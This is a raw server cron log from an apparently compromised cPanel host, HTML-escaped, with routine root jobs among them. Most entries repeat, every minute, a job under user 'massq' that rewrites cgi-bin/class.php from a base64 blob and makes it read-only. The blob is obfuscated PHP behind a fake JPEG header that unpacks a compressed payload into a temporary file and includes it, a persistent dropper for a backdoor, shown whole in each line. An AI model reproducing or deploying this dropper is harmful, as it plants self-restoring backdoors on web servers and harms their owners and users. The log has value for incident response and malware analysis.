Nov 15 04:51:01 server CROND[13118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:52:01 server CROND[13374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:53:01 server CROND[13726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:54:01 server CROND[13978]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:55:01 server CROND[14243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:55:01 server CROND[14244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:55:01 server CROND[14245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:56:01 server CROND[14575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:57:01 server CROND[14837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:57:01 server CROND[14838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 04:58:01 server CROND[15261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:59:01 server CROND[15510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:00:01 server CROND[15774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:00:01 server CROND[15778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:00:01 server CROND[15780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:00:01 server CROND[15782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:01:01 server CROND[16104]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 05:01:01 server CROND[16105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:01:01 server run-parts(/etc/cron.hourly)[16104]: starting 0anacron
Nov 15 05:01:01 server run-parts(/etc/cron.hourly)[16118]: finished 0anacron
Nov 15 05:02:01 server CROND[16382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:03:01 server CROND[16634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
